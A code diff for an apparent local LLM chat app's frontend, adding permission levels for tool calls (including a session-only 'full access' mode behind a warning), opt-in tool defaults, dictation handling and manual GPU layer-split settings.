+        // Keep an explicit Manual+Auto context pin the load just applied (so a
+        // later Apply/Reset doesn't silently revert the model to auto-fit
+        // sizing), mirroring the interactive path's keepCustomCtx. Non-GGUF
+        // compare loads don't send the pin, so their baseline clears.
+        const keepCustomCtx = targetIsGguf
+          ? resolveManualAutoCtxPin(
+              effectiveGpuMemoryMode,
+              effectiveGpuLayers,
+              effectiveCustomContextLength,
+            )
+          : null;
         useChatRuntimeStore.setState({
           supportsReasoning: resp.supports_reasoning ?? false,
           reasoningAlwaysOn: resp.reasoning_always_on ?? false,
           ...reasoningCapsFromLoad(resp),
           supportsPreserveThinking: resp.supports_preserve_thinking ?? false,
           supportsTools: resp.supports_tools ?? false,
+          kvCacheDtype: resp.cache_type_kv ?? null,
+          loadedKvCacheDtype: resp.cache_type_kv ?? null,
           tensorParallel: resp.tensor_parallel ?? false,
           loadedTensorParallel: resp.tensor_parallel ?? false,
+          defaultChatTemplate: resp.chat_template ?? null,
+          chatTemplateOverride: effectiveChatTemplateOverride,
+          loadedChatTemplateOverride: effectiveChatTemplateOverride,
+          // The context baseline this pane loaded with (see keepCustomCtx above),
+          // so a later Apply/Reset can't silently revert a Manual+Auto pin.
+          loadedCustomContextLength: keepCustomCtx,
+          // Adopt the load response's GPU-memory fields (mode/layers/MoE/split/pick
+          // plus loaded baselines) so the GPU controls round-trip. (gguf context,
+          // customContextLength and native-path token/expiry clear in the tail below.)
+          ...loadedGpuMemoryFields(resp),
+          // Drives the GPU Memory controls' diffusion gate; set alongside the
+          // GPU fields on every load path so the gate can't read stale.
+          loadedIsDiffusion: resp.is_diffusion ?? false,
           loadedIsMultimodal: isMultimodalResponse(resp),
+          // Record the context this pane loaded with (like the single-model path)
+          // so when it becomes the active model, the UI and later reload/save use
+          // its context, not the previous/default one.
+          customContextLength: isGgufLoad
+            ? (ownConfig.customContextLength ?? keepCustomCtx)
+            : null,
+          ggufContextLength: resp.is_gguf ? (resp.context_length ?? null) : null,
+          ggufNativeContextLength: resp.is_gguf
+            ? (resp.native_context_length ?? null)
+            : null,
+          ggufMaxContextLength: resp.is_gguf
+            ? (resp.max_context_length ?? null)
+            : null,
+          // Compare selections load by repo/variant, never from the file picker,
+          // so they carry no native lease. Clear any prior picked file's
+          // token/expiry so the reload path never sends a stale lease.
+          activeNativePathToken: null,
+          activeNativePathExpiresAtMs: null,
           ...resolveLoadedSpeculativeSettings(resp),
         });
+        if (!isGgufLoad) {
+          // Non-GGUF panes carry their context in params.maxSeqLength.
+          store.setParams({
+            ...useChatRuntimeStore.getState().params,
+            maxSeqLength: effectiveMaxSeqLength,
+          });
+        }
+        loadedFromConfig = config != null;
         // Sync the models[] entry with the load response so attach/send gates
         // read fresh capabilities. /api/models/list can lag a model's actual
         // state (e.g. a GGUF whose mmproj arrived after the snapshot).
@@ -1097,6 +1342,11 @@ export function SharedComposer({
         toast.success("Compare complete", { id: toastId, duration: 2000 });
       } catch (err) {
         compareStepSucceededRef.current = false;
+        // The install already unloaded the previously active model; drop the
+        // checkpoint so the UI does not keep pointing at an unloaded model.
+        if (upgradeUnloadedActive) {
+          useChatRuntimeStore.getState().clearCheckpoint();
+        }
         toast.error("Compare failed", {
           id: toastId,
           description: err instanceof Error ? err.message : "Unknown error",
@@ -1151,7 +1401,7 @@ export function SharedComposer({
     }
     if (e.key === "Enter" && !e.shiftKey) {
       e.preventDefault();
-      if (!busy) {
+      if (!busy && !isDictating) {
         send();
       }
     }
@@ -1162,7 +1412,8 @@ export function SharedComposer({
       pendingImages.length > 0 ||
       pendingAudio !== null) &&
     !busy &&
-    !isComposing;
+    !isComposing &&
+    !isDictating;
 
   // Adjustable "+" menu items, keyed by id. Pinned ones render at the top
   // level; the rest fall into the "More" overflow submenu. Core items (photos,
@@ -1258,9 +1509,13 @@ export function SharedComposer({
                   toast.error("No conversation to export yet.");
                   return;
                 }
-                Promise.all(exportThreadIds.map((id) => fn(id))).catch(() =>
-                  toast.error("Export failed."),
-                );
+                (async () => {
+                  for (const id of exportThreadIds) {
+                    await fn(id);
+                  }
+                })().catch((error) => {
+                  if (!isDownloadCancelled(error)) toast.error("Export failed.");
+                });
               }}
             >
               {label}
@@ -1269,7 +1524,8 @@ export function SharedComposer({
         </DropdownMenuSubContent>
       </DropdownMenuSub>
     ),
-    canvas: (
+    // Hidden by default; enabled from Settings > Chat > Canvas.
+    canvas: showCanvasMenuItem ? (
       <DropdownMenuItem
         className={artifactsEnabled ? "text-primary font-medium" : undefined}
         onSelect={() => setArtifactsEnabled(!artifactsEnabled)}
@@ -1280,7 +1536,7 @@ export function SharedComposer({
           <HugeiconsIcon icon={Tick02Icon} strokeWidth={2} className="ml-auto" />
         ) : null}
       </DropdownMenuItem>
-    ),
+    ) : null,
     bypassPermissions: <BypassPermissionsMenuItem />,
     projects: (
       <DropdownMenuSub>
@@ -1447,7 +1703,7 @@ export function SharedComposer({
       />
       <div className="composer-action-wrapper">
         <div
-          className="flex items-center gap-0.5"
+          className="flex min-w-0 flex-wrap items-center gap-0.5"
           data-pill-compact={pillsCompact ? "true" : undefined}
         >
           <input
@@ -1617,29 +1873,10 @@ export function SharedComposer({
             </PillGlyph>
             <span>Compare</span>
           </button>
-          {/* Bypass sits immediately after Compare and ahead of every other
-              tool pill (Search, Code, ...) so the active danger state reads
-              first; only Compare outranks it. */}
-          {bypassPermissions && (
-            <button
-              type="button"
-              onClick={() => setBypassPermissions(false)}
-              className="composer-pill-btn"
-              data-active="true"
-              data-variant="danger"
-              aria-label="Disable Bypass permissions"
-              title="Bypass permissions is on (no confirmation, no sandbox). Click to turn off."
-            >
-              <PillGlyph>
-                <HugeiconsIcon
-                  icon={ShieldBanIcon}
-                  strokeWidth={2}
-                  className="size-[15px]"
-                />
-              </PillGlyph>
-              <span>Bypass permissions</span>
-            </button>
-          )}
+          {/* Permission-level pill sits immediately after Compare and ahead
+              of every other tool pill (Search, Code, ...) so the Full access
+              danger state reads first; only Compare outranks it. */}
+          <PermissionModeComposerPill side="top" />
           <button
             type="button"
             disabled={searchDisabled}
@@ -1767,6 +2004,7 @@ export function SharedComposer({
                     type="button"
                     disabled={reasoningDisabled}
                     className="unsloth-thinking-pill"
+                    data-pill-label="Thinking settings"
                     data-active={thinkingActiveLook ? "true" : "false"}
                     aria-label={thinkEffortAriaLabel({
                       modelLoaded,
@@ -1776,7 +2014,7 @@ export function SharedComposer({
                   >
                     <BulbIcon className="size-[15.5px]" />
                     {thinkingActiveLook ? (
-                      <span>
+                      <span className="unsloth-thinking-label">
                         {isEffort
                           ? `Thinking · ${formatReasoningEffortLabel(
                               reasoningEffort,
@@ -1785,7 +2023,7 @@ export function SharedComposer({
                           : "Thinking"}
                       </span>
                     ) : null}
-                    <ArrowDownStandardIcon className="size-[15px]" />
+                    <ArrowDownStandardIcon className="unsloth-thinking-caret size-[15px]" />
                   </button>
                 </DropdownMenuTrigger>
                 <DropdownMenuContent
@@ -1932,6 +2170,7 @@ export function SharedComposer({
                   }
                 }}
                 className="unsloth-thinking-pill"
+                data-pill-label="Thinking"
                 data-active={thinkingActiveLook ? "true" : "false"}
                 aria-label={thinkToggleAriaLabel({
                   reasoningLockedOn,
@@ -1943,11 +2182,13 @@ export function SharedComposer({
                 <PillGlyph>
                   <BulbIcon className="size-[15.5px]" />
                 </PillGlyph>
-                {thinkingActiveLook ? <span>Thinking</span> : null}
+                {thinkingActiveLook ? (
+                  <span className="unsloth-thinking-label">Thinking</span>
+                ) : null}
               </button>
             )
           ) : null}
-          {dictationSupported && (
+          {
             <>
               {!isDictating ? (
                 <TooltipIconButton
@@ -1963,19 +2204,27 @@ export function SharedComposer({
                 </TooltipIconButton>
               ) : (
                 <TooltipIconButton
-                  tooltip="Stop dictation"
+                  tooltip={
+                    isDictationFinalizing
+                      ? "Cancel transcription"
+                      : "Stop dictation"
+                  }
                   side="bottom"
                   variant="ghost"
                   size="icon"
                   className="size-8 rounded-full text-destructive"
                   onClick={stopDictation}
-                  aria-label="Stop dictation"
+                  aria-label={
+                    isDictationFinalizing
+                      ? "Cancel transcription"
+                      : "Stop dictation"
+                  }
                 >
                   <SquareIcon className="size-3 animate-pulse fill-current" />
                 </TooltipIconButton>
               )}
             </>
-          )}
+          }
           {isQueueRunning ? (
             <button
               type="button"
diff --git a/studio/frontend/src/features/chat/stores/chat-preferences-store.ts b/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
index f019b7dc3d..5b5011a78f 100644
--- a/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-preferences-store.ts
@@ -7,11 +7,14 @@ import { persist } from "zustand/middleware";
 // Client-side chat UI prefs kept in localStorage, not the chat DB.
 // confirmDeleteChats: when off, deleting a chat skips the confirm dialog.
 // showModelDisclaimer: when off, hide the "LLMs can make mistakes" footer note.
+// showResponseModel: when on, assistant responses show the producing model.
 export interface ChatPreferencesState {
   confirmDeleteChats: boolean;
   setConfirmDeleteChats: (value: boolean) => void;
   showModelDisclaimer: boolean;
   setShowModelDisclaimer: (value: boolean) => void;
+  showResponseModel: boolean;
+  setShowResponseModel: (value: boolean) => void;
 }
 
 export const useChatPreferencesStore = create<ChatPreferencesState>()(
@@ -23,6 +26,9 @@ export const useChatPreferencesStore = create<ChatPreferencesState>()(
       showModelDisclaimer: true,
       setShowModelDisclaimer: (showModelDisclaimer) =>
         set({ showModelDisclaimer }),
+      showResponseModel: false,
+      setShowResponseModel: (showResponseModel) =>
+        set({ showResponseModel }),
     }),
     {
       name: "unsloth_chat_preferences",
@@ -32,6 +38,7 @@ export const useChatPreferencesStore = create<ChatPreferencesState>()(
           ...current,
           confirmDeleteChats: saved?.confirmDeleteChats ?? true,
           showModelDisclaimer: saved?.showModelDisclaimer ?? true,
+          showResponseModel: saved?.showResponseModel ?? false,
         };
       },
     },
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 7c9685d6d0..89bc21ee18 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -1,8 +1,8 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import type { RememberedLoadSettings } from "@/components/assistant-ui/model-selector/remembered-load-settings";
-import { cancelStagedModelDownload } from "@/features/hub";
+import { mirrorHfTokenInto, useHfTokenStore } from "@/features/hub";
+import { cachedPinnableGpuIndices } from "@/hooks/use-gpu-info";
 import { toast } from "@/lib/toast";
 import { create } from "zustand";
 import { isExternalModelId, parseExternalModelId } from "../external-providers";
@@ -23,21 +23,21 @@ import {
   savePersistedChatSettingsPatch,
 } from "../utils/chat-settings-storage";
 import { useExternalProvidersStore } from "./external-providers-store";
+import { PLUS_MENU_PINS_STORAGE_KEY } from "./plus-menu-prefs-store";
 
-const HF_TOKEN_KEY = "unsloth_hf_token";
-const HF_TOKEN_CHANGED_EVENT = "unsloth:hf-token-changed";
 export const CHAT_REASONING_ENABLED_KEY = "unsloth_chat_reasoning_enabled";
 export const CHAT_TOOLS_ENABLED_KEY = "unsloth_chat_tools_enabled";
 export const CHAT_CODE_TOOLS_ENABLED_KEY = "unsloth_chat_code_tools_enabled";
 export const CHAT_IMAGE_TOOLS_ENABLED_KEY = "unsloth_chat_image_tools_enabled";
 export const CHAT_ARTIFACTS_ENABLED_KEY = "unsloth_chat_artifacts_enabled";
+export const CHAT_SHOW_CANVAS_MENU_ITEM_KEY =
+  "unsloth_chat_show_canvas_menu_item";
 export const CHAT_COLLAPSE_HTML_ARTIFACTS_KEY =
   "unsloth_chat_collapse_html_artifacts";
 export const CHAT_ALLOW_ARTIFACT_NETWORK_ACCESS_KEY =
   "unsloth_chat_allow_artifact_network_access";
 export const CHAT_MCP_ENABLED_KEY = "unsloth_chat_mcp_enabled";
 export const CHAT_CONFIRM_TOOL_CALLS_KEY = "unsloth_chat_confirm_tool_calls";
-export const CHAT_LOAD_ON_SELECTION_KEY = "unsloth_chat_load_on_selection";
 export const CHAT_EXPAND_QUANTIZATIONS_KEY =
   "unsloth_chat_expand_quantizations";
 export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY =
@@ -45,6 +45,19 @@ export const CHAT_SHOW_ALL_QUANTIZATIONS_KEY =
 export const MODELS_FIT_ON_DEVICE_ONLY_KEY =
   "unsloth_models_fit_on_device_only";
 export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
+export const CHAT_PERMISSION_MODE_KEY = "unsloth_chat_permission_mode";
+
+/**
+ * Permission level for local tool calls:
+ * - "ask": always ask before every tool call runs.
+ * - "auto" ("Approve for me"): only ask for calls the backend detects as
+ *   potentially unsafe; read-only calls run immediately. Sandbox stays on.
+ * - "off": never ask; tool calls run automatically inside the sandbox
+ *   (the original default before permission levels existed).
+ * - "full" ("Full access"): no confirmations and the python/terminal sandbox
+ *   is disabled. Session-only; never restored from storage.
+ */
+export type PermissionMode = "ask" | "auto" | "off" | "full";
 export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
   "unsloth_chat_web_fetch_tools_enabled";
 export const CHAT_RAG_SOURCE_KEY = "unsloth_chat_rag_source";
@@ -56,6 +69,7 @@ export const CHAT_RAG_AUTOINJECT_MIN_SCORE_KEY =
 export const CHAT_RAG_OCR_KEY = "unsloth_chat_rag_ocr_scanned";
 export const CHAT_RAG_CAPTION_KEY = "unsloth_chat_rag_caption_figures";
 export const CHAT_SPECULATIVE_TYPE_KEY = "unsloth_chat_speculative_type";
+export const CHAT_GPU_MEMORY_MODE_KEY = "unsloth_chat_gpu_memory_mode";
 
 // Persist only the model-agnostic intents (auto/ngram/off). MTP modes
 // (mtp/mtp+ngram) and spec_draft_n_max stay session-only: a persisted MTP
@@ -206,6 +220,11 @@ export type PendingImageEditReference = {
   openaiResponseId?: string;
   openaiReasoningItem?: unknown;
 };
+export type LoadingModelPick = {
+  id: string;
+  ggufVariant: string | null;
+  nativePathToken: string | null;
+};
 export type ReasoningEffort =
   | "none"
   | "minimal"
@@ -319,8 +338,10 @@ export function loadOptionalBool(key: string): boolean | null {
 /**
  * Resolve the web-search / code-execution pill state to apply when a model
  * loads. Honors the user's persisted preference so a tool-capable model never
- * re-enables a pill the user turned off; falls back to the model's capability
- * only when no preference has been expressed.
+ * re-enables a pill the user turned off, and never re-disables one they turned
+ * on. When no preference has been expressed the pills stay off: tool execution
+ * is opt-in, so the person enables it with a click rather than a tool-capable
+ * model turning it on for them.
  */
 export function resolveToolsEnabledOnLoad(supportsTools: boolean): {
   toolsEnabled: boolean;
@@ -328,8 +349,8 @@ export function resolveToolsEnabledOnLoad(supportsTools: boolean): {
 } {
   if (!supportsTools) return { toolsEnabled: false, codeToolsEnabled: false };
   return {
-    toolsEnabled: loadOptionalBool(CHAT_TOOLS_ENABLED_KEY) ?? true,
-    codeToolsEnabled: loadOptionalBool(CHAT_CODE_TOOLS_ENABLED_KEY) ?? true,
+    toolsEnabled: loadOptionalBool(CHAT_TOOLS_ENABLED_KEY) ?? false,
+    codeToolsEnabled: loadOptionalBool(CHAT_CODE_TOOLS_ENABLED_KEY) ?? false,
   };
 }
 
@@ -342,6 +363,55 @@ function saveBool(key: string, value: boolean): void {
   }
 }
 
+// The visibility flag shipped after the menu pins, so when it is absent,
+// profiles that had explicitly pinned Canvas keep it visible.
+function loadShowCanvasMenuItem(): boolean {
+  const stored = loadOptionalBool(CHAT_SHOW_CANVAS_MENU_ITEM_KEY);
+  if (stored !== null) return stored;
+  if (!canUseStorage()) return false;
+  try {
+    const raw = localStorage.getItem(PLUS_MENU_PINS_STORAGE_KEY);
+    if (raw === null) return false;
+    const parsed = JSON.parse(raw) as {
+      state?: { pins?: { canvas?: boolean } };
+    };
+    return parsed.state?.pins?.canvas === true;
+  } catch {
+    return false;
+  }
+}
+
+/**
+ * "full" is intentionally not restorable: it disables the sandbox and every
+ * confirmation gate, so it must be re-enabled (through the warning dialog)
+ * each session. First run falls back to the legacy "Confirm tool calls"
+ * toggle so existing users keep their behavior (on -> ask, explicitly
+ * off -> "off", i.e. no prompts); fresh installs default to "auto".
+ */
+function loadPermissionMode(): PermissionMode {
+  if (!canUseStorage()) return "auto";
+  try {
+    const raw = localStorage.getItem(CHAT_PERMISSION_MODE_KEY);
+    if (raw === "ask" || raw === "auto" || raw === "off") return raw;
+  } catch {
+    // ignore
+  }
+  const legacyConfirm = loadOptionalBool(CHAT_CONFIRM_TOOL_CALLS_KEY);
+  if (legacyConfirm === null) return "auto";
+  return legacyConfirm ? "ask" : "off";
+}
+
+function savePermissionMode(mode: PermissionMode): void {
+  if (!canUseStorage() || mode === "full") return;
+  try {
+    localStorage.setItem(CHAT_PERMISSION_MODE_KEY, mode);
+  } catch {
+    // ignore
+  }
+}
+
+const INITIAL_PERMISSION_MODE: PermissionMode = loadPermissionMode();
+
 function loadString(key: string, fallback: string): string {
   if (!canUseStorage()) return fallback;
   try {
@@ -428,45 +498,185 @@ export function saveSpeculativeType(value: string | null): void {
   }
 }
 
-function notifyHfTokenChanged(value: string): void {
-  if (!canUseStorage()) return;
-  try {
-    window.dispatchEvent(
-      new CustomEvent(HF_TOKEN_CHANGED_EVENT, { detail: value }),
-    );
-  } catch {
-    // ignore
-  }
+// GPU Memory strategy is a standing preference (like speculative type), not a
+// per-model setting: a "manual" choice persists across model switches and reloads.
+export function readPersistedGpuMemoryMode(): "auto" | "manual" {
+  return loadString(CHAT_GPU_MEMORY_MODE_KEY, "auto") === "manual" ? "manual" : "auto";
 }
 
-/** A local model staged for a deferred load (see `pendingSelection`). Shape is
- *  a subset of the load hook's `SelectedModelInput`, structurally assignable. */
-export type PendingModelSelection = {
-  id: string;
-  isLora?: boolean;
-  ggufVariant?: string;
-  isDownloaded?: boolean;
-  expectedBytes?: number;
-  /** Native (drag-drop / picked-from-disk) GGUF: the path token used to read
-   *  the header and to load. Absent for HF-repo models. */
-  nativePathToken?: string;
-  /** Direct local .gguf file (custom folder / LM Studio): a GGUF source even
-   *  though it carries neither an HF variant nor a native path token. */
-  isGguf?: boolean;
-  /** Native context length read from the GGUF header once the file is local.
-   *  Scoped here (not the shared `ggufContextLength`) so a staged model's
-   *  metadata never pollutes the currently-loaded model's context display. */
-  contextLength?: number | null;
-  /** "Load on selection" on + un-cached GGUF: download via the manager (global
-   *  indicator) without opening the sheet, then load once the download finishes. */
-  autoLoad?: boolean;
-  /** Uncached non-GGUF HF repo: download the full snapshot via the manager
-   *  (variant null) the same way GGUF picks download a variant. */
-  isHubRepo?: boolean;
-};
+export function saveGpuMemoryMode(value: "auto" | "manual"): void {
+  saveString(CHAT_GPU_MEMORY_MODE_KEY, value);
+}
 
-/** A pick is a GGUF (HF variant, native file, or a direct local .gguf) and so
- *  has pre-load options worth staging. Works on a selection or a staged pick. */
+/** Persist the GPU Memory mode after a load, but only for a non-diffusion GGUF:
+ *  non-GGUF has no such mode, and diffusion runs mode-agnostic (reports "auto"),
+ *  so neither must clobber the standing manual preference. */
+export function persistGpuMemoryModeOnLoad(
+  resp: { is_gguf?: boolean; is_diffusion?: boolean },
+  mode: "auto" | "manual",
+): void {
+  if (resp.is_gguf && !resp.is_diffusion) saveGpuMemoryMode(mode);
+}
+
+// Manual-mode gpu_layers sentinel: -1 = Auto (hand layer + context sizing to
+// llama.cpp's --fit). The Manual default; "all on GPU" is the slider's max.
+export const GPU_LAYERS_AUTO = -1;
+
+// Round real-valued shares to integers summing exactly to `total`, giving the
+// leftover units to the largest fractional parts (largest-remainder method).
+function largestRemainder(shares: number[], total: number): number[] {
+  const out = shares.map((x) => Math.floor(x));
+  let rem = total - out.reduce((a, b) => a + b, 0);
+  const byFrac = shares
+    .map((x, i) => ({ i, frac: x - Math.floor(x) }))
+    .sort((a, b) => b.frac - a.frac);
+  for (let k = 0; rem > 0 && k < byFrac.length; k++, rem--) out[byFrac[k].i] += 1;
+  return out;
+}
+
+// Spread `total` layers across GPUs in proportion to `weights` (e.g. per-GPU
+// VRAM), as integers summing exactly to `total`; even split for all-zero/empty
+// weights. Default per-GPU layer split before the user edits it (mirrors
+// llama.cpp's free-VRAM default).
+export function distributeByWeight(total: number, weights: number[]): number[] {
+  if (weights.length === 0) return [];
+  const t = Math.max(0, Math.floor(total));
+  const sum = weights.reduce((a, b) => a + b, 0);
+  const w = sum > 0 ? weights : weights.map(() => 1);
+  const wSum = w.reduce((a, b) => a + b, 0);
+  return largestRemainder(
+    w.map((x) => (t * x) / wSum),
+    t,
+  );
+}
+
+// Set GPU `index` to `value` and rebalance the rest so per-GPU counts still sum
+// to `total`; others absorb the remainder in proportion to their counts (evenly
+// if all zero). The --tensor-split editor: counts are sent verbatim, and
+// llama.cpp gives each GPU exactly its count when gpu_layers == sum(counts).
+export function rebalanceSplit(
+  total: number,
+  counts: number[],
+  index: number,
+  value: number,
+): number[] {
+  const v = Math.max(0, Math.min(value, total));
+  const out = counts.slice();
+  const otherIdx = counts.map((_, i) => i).filter((i) => i !== index);
+  // No other GPU to absorb the remainder: this one holds everything.
+  if (otherIdx.length === 0) {
+    out[index] = total;
+    return out;
+  }
+  out[index] = v;
+  const dist = distributeByWeight(
+    total - v,
+    otherIdx.map((i) => counts[i]),
+  );
+  otherIdx.forEach((i, k) => (out[i] = dist[k]));
+  return out;
+}
+
+// Validate a persisted gpu_ids pick against the GPUs present right now, before
+// restoring it from remembered settings. Returns null (= automatic) when the
+// pick is stale (none of the saved ids exist, or the host can't pin a multi-GPU
+// set), so a saved [1] on a now-1-GPU host doesn't get sent and rejected with no
+// way to clear it. A null pick (= automatic) passes through unchanged, and an
+// unpopulated device cache leaves the pick alone (the backend still guards).
+export function reconcilePersistedGpuIds(
+  ids: number[] | null,
+): number[] | null {
+  if (ids == null) return ids;
+  const pinnable = cachedPinnableGpuIndices();
+  if (pinnable === null) return ids; // cache not ready: can't validate, keep it
+  const kept = ids.filter((i) => pinnable.includes(i));
+  return kept.length > 0 ? kept : null;
+}
+
+// Store fields derived from a load/status response's GPU-memory settings.
+// Shared by every load path so the manual-knob round-trip can't drift.
+export function loadedGpuMemoryFields(resp: {
+  is_gguf?: boolean;
+  is_diffusion?: boolean;
+  gpu_memory_mode?: "auto" | "manual";
+  gpu_layers?: number;
+  n_cpu_moe?: number;
+  tensor_split?: number[] | null;
+  n_layers?: number | null;
+  n_moe_layers?: number;
+  gpu_ids?: number[] | null;
+}) {
+  // GPU-memory state is meaningful only for a GGUF chat load. A non-GGUF response
+  // still carries gpu_memory_mode (its default "auto" is serialized), so gate on
+  // the authoritative is_gguf flag, not the field's presence -- otherwise loading
+  // a transformers model would reset the standing manual preference.
+  if (!resp.is_gguf) {
+    // Clear the GPU pick / offload baseline a prior GGUF load may have left, so it
+    // reflects the non-GGUF model (no pin) -- else a stale loadedGpuIds reads as
+    // dirty (gpuIdsDirty is ungated) and Reset restores it while the picker is
+    // hidden. gpuMemoryMode (the standing preference) is kept, but its loaded
+    // baseline clears to null so Reset preserves the preference, not a stale mode.
+    return {
+      selectedGpuIds: null,
+      loadedGpuIds: null,
+      loadedGpuMemoryMode: null,
+      gpuLayers: GPU_LAYERS_AUTO,
+      loadedGpuLayers: null,
+      nCpuMoe: 0,
+      loadedNCpuMoe: null,
+      splitRatio: null,
+      loadedSplitRatio: null,
+      ggufLayerCount: null,
+      moeLayerCount: null,
+    };
+  }
+  const mode = resp.gpu_memory_mode ?? "auto";
+  const gpuIds = resp.gpu_ids ?? null;
+  // Layer/MoE/split knobs apply (and are reported) only in manual mode; in auto
+  // the server ignores them, so don't seed the loaded baseline or the editable
+  // knobs with values it never applied. In manual, the server reports gpu_layers
+  // = -1 under Auto, which round-trips the slider back to its Auto position.
+  const manualKnobs =
+    mode === "manual"
+      ? {
+          loadedGpuLayers: resp.gpu_layers ?? null,
+          loadedNCpuMoe: resp.n_cpu_moe ?? null,
+          loadedSplitRatio: resp.tensor_split ?? null,
+          gpuLayers: resp.gpu_layers ?? GPU_LAYERS_AUTO,
+          nCpuMoe: resp.n_cpu_moe ?? 0,
+          splitRatio: resp.tensor_split ?? null,
+        }
+      : {
+          loadedGpuLayers: null,
+          loadedNCpuMoe: null,
+          loadedSplitRatio: null,
+          // Auto ignores these, so reset the editable knobs too (not just the
+          // loaded baseline) -- else a later switch back to Manual would snapshot
+          // and send a previous model's stale gpuLayers/nCpuMoe/split that this
+          // load never applied. Mirrors the non-GGUF branch above.
+          gpuLayers: GPU_LAYERS_AUTO,
+          nCpuMoe: 0,
+          splitRatio: null,
+        };
+  return {
+    // A diffusion GGUF runs mode-agnostic (pins all layers on one GPU, reports
+    // "auto"), so adopt everything a chat GGUF does EXCEPT the live standing
+    // preference -- the next chat load must still honor the user's manual choice.
+    // The loaded baseline is still "auto", but the UI hides mode controls for a
+    // loaded diffusion model so it can't read as dirty against the preference.
+    ...(resp.is_diffusion ? {} : { gpuMemoryMode: mode }),
+    loadedGpuMemoryMode: mode,
+    ggufLayerCount: resp.n_layers ?? null,
+    // MoE expert-layer count: the n_cpu_moe slider max, and 0 hides the slider.
+    moeLayerCount: resp.n_moe_layers ?? null,
+    // The picker reflects what loaded (the request sent the user's pick).
+    selectedGpuIds: gpuIds,
+    loadedGpuIds: gpuIds,
+    ...manualKnobs,
+  };
+}
+
+/** A pick is a GGUF: HF variant, native file, or a direct local .gguf. */
 export function hasGgufSource(x: {
   ggufVariant?: string;
   nativePathToken?: string;
@@ -504,26 +714,6 @@ export function isDownloadableHubRepo(x: {
   );
 }
 
-export function isPendingGguf(pending: PendingModelSelection | null): boolean {
-  return pending != null && hasGgufSource(pending);
-}
-
-/** Whether `pending` refers to the same model as `pick` (id + GGUF variant +
- *  native path token, optionals null-normalized). Native ids are display labels
- *  that can collide, so the token must match too — id alone can land on the
- *  wrong file. */
-export function pendingSelectionMatches(
-  pending: PendingModelSelection | null,
-  pick: { id: string; ggufVariant?: string | null; nativePathToken?: string | null },
-): boolean {
-  return (
-    pending != null &&
-    pending.id === pick.id &&
-    (pending.ggufVariant ?? null) === (pick.ggufVariant ?? null) &&
-    (pending.nativePathToken ?? null) === (pick.nativePathToken ?? null)
-  );
-}
-
 type ChatRuntimeStore = {
   settingsHydrated: boolean;
   params: InferenceParams;
@@ -592,6 +782,8 @@ type ChatRuntimeStore = {
   codeToolsEnabled: boolean;
   imageToolsEnabled: boolean;
   artifactsEnabled: boolean;
+  // Whether the Canvas toggle is offered in the composer + menu (hidden by default).
+  showCanvasMenuItem: boolean;
   collapseHtmlArtifacts: boolean;
   allowArtifactNetworkAccess: boolean;
   mcpEnabledForChat: boolean;
@@ -607,7 +799,7 @@ type ChatRuntimeStore = {
   // Describe figures/charts at ingest time (vision model required).
   ragCaptionFigures: boolean;
   /**
-   * When on, local Studio tool calls pause for an explicit allow/deny in the
+   * When on, local Unsloth tool calls pause for an explicit allow/deny in the
    * chat before they run.
    */
   confirmToolCalls: boolean;
@@ -615,8 +807,15 @@ type ChatRuntimeStore = {
    * Bypass Permissions: when on, tool calls run with no confirmation gate
    * AND the python/terminal execution sandbox is disabled on the backend
    * (secrets are still stripped). Takes precedence over confirmToolCalls.
+   * Kept in sync with permissionMode ("full" <=> true).
    */
   bypassPermissions: boolean;
+  /**
+   * Permission level. Single source of truth for the bypass dropdowns;
+   * bypassPermissions and confirmToolCalls mirror it so legacy call sites
+   * keep working. "full" is session-only (never persisted).
+   */
+  permissionMode: PermissionMode;
   /** Whether the "Enable Bypass Permissions?" warning dialog is open. Lifted out
    *  of the composer menu so confirming/cancelling it doesn't leave the menu frozen. */
   bypassConfirmOpen: boolean;
@@ -644,8 +843,16 @@ type ChatRuntimeStore = {
    */
   webFetchToolsEnabled: boolean;
   toolStatus: string | null;
+  /** Live stdout/stderr from running tools, keyed by toolCallId. Transient:
+   *  appended by tool_output, cleared on tool_end or run end. */
+  toolLiveOutput: Record<string, string>;
+  /** Full live output of finished tools whose result was truncated for the
+   *  model, keyed by toolCallId. Set from tool_end; finished cards prefer it
+   *  over the truncated result. Session-transient. */
+  toolFullOutput: Record<string, string>;
   generatingStatus: string | null;
   autoHealToolCalls: boolean;
+  nudgeToolCalls: boolean;
   maxToolCallsPerMessage: number;
   toolCallTimeout: number;
   kvCacheDtype: string | null;
@@ -664,10 +871,32 @@ type ChatRuntimeStore = {
   tensorParallel: boolean;
   /** Backend-reported tensor-parallel state; null until first hydrated. */
   loadedTensorParallel: boolean | null;
-  /** Persisted: when false, picking a local model stages it as
-   *  `pendingSelection` (and opens settings) instead of loading immediately,
-   *  so load settings can be set before the single load. */
-  loadOnSelection: boolean;
+  /** GPU memory strategy for GGUF loads. "auto" = Unsloth picks GPUs and context
+   *  to fit; "manual" = you own the offload (gpuLayers < 0 = Auto/--fit, >= 0
+   *  pins layers + nCpuMoe). */
+  gpuMemoryMode: "auto" | "manual";
+  /** Backend-reported gpu memory mode; null until first hydrated. */
+  loadedGpuMemoryMode: "auto" | "manual" | null;
+  /** Manual mode: layers to offload to GPU. -1 = Auto (--fit); >= model layer
+   *  count = all. */
+  gpuLayers: number;
+  loadedGpuLayers: number | null;
+  /** Manual mode: MoE expert layers to keep on CPU (--n-cpu-moe); 0 = none. */
+  nCpuMoe: number;
+  loadedNCpuMoe: number | null;
+  /** Manual mode: per-GPU layer counts (--tensor-split), in GPU-in-use order;
+   *  null = unset (llama.cpp splits by free VRAM). */
+  splitRatio: number[] | null;
+  /** Backend-reported per-GPU split ratio (--tensor-split); null = unset. */
+  loadedSplitRatio: number[] | null;
+  /** Model layer count (GGUF block_count); the manual gpu-layers ceiling is
+   * this + 1 (the output layer is offloadable too). */
+  ggufLayerCount: number | null;
